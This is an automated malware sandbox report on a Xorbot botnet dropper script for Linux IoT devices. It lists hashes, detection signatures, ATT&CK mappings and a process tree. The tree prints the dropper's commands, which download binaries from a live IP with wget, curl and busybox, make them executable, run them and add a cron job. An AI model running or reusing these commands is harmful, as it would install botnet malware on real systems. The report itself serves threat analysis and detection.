xorbot | 3ebb1d478cfff5b5e325d281957e1364851ce10d174cd95e76c37e74b028f789

Analysis

max time kernel
149s
max time network
156s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-12-2024 06:15

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General

Target

bins.sh
Size

10KB
MD5

7e4709c72b7042c5a051d82d8765d229
SHA1

a0d5c07a09e781a20f3443dedae239ed96ba33c1
SHA256

3ebb1d478cfff5b5e325d281957e1364851ce10d174cd95e76c37e74b028f789
SHA512

736c107818007aed1eb7bcdb1674fa723eef0d6b54a53a8e7cc1a13df7d2e64a77721604c70dec862125da1b413400ff0d05f8c0446da76b80307a7900566cb6
SSDEEP

192:Hr88u6+p1FJ7fnAgNXBLwzxRbDbEsu6+p1F/7fnAgd0xRFt:L8p9XBLwzxRbDgZX0xRFt

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2080) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
695	chmod
733	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	697	59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
/tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m	734	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m

Renames itself 1 IoCs

pid	Process
735	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.v3sXWk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/274/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/745/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/772/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/890/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/952/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/953/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1024/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/213/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/166/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/927/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1041/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/5/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/855/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/950/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/984/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1013/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/850/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/28/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/798/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/809/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/880/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/949/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1028/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1032/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/8/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/854/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/915/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/762/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/914/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/937/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1026/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1038/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1042/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/910/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1012/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1017/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/653/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/785/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/792/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/831/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/913/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1002/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1007/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/25/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/902/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1034/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/796/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/860/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/865/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/794/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/774/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/1027/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/6/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/744/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/779/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/946/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/966/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/707/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/787/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/818/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/889/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/919/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/974/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
File opened for reading	/proc/41/cmdline	BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	busybox
File opened for modification	/tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m	wget
File opened for modification	/tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m	curl
File opened for modification	/tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m	busybox
File opened for modification	/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	wget
File opened for modification	/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  ./59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  - Executes dropped EXE
  PID:697
- /bin/rm
  rm 59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod 777 BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  ./BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:734
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:736
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:737
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:738
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:739
- /bin/rm
  rm BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/H3fShSr07bZqjoHOcSc5sI9pSM4PaPBgVF
  2⤵
  PID:746

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/59gh7cCNwSRpx1ci3HT9jivbMxlJObIBDQ

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/BuoL6QtEinR9UGphsyGv4AVUmNVaYf5i3m

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.v3sXWk

Filesize
210B

MD5
dec0d5f3e12cb127427a6ef1a82164e7

SHA1
599543daa9cbb1ca7099ebc98dc5fe6a7d3fcacf

SHA256
383c6da647c220e8dc77800d1f119a2c23004a394f8d3076fcc31447fa5ef480

SHA512
0e7b325d99ac6134eb3662b6f63fb68609638bda6a48a055844fae44e286163f01e93e0730be93f2fa1115d6c217fe681b212d4964c42d9ab9b6ebfba83c0710

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads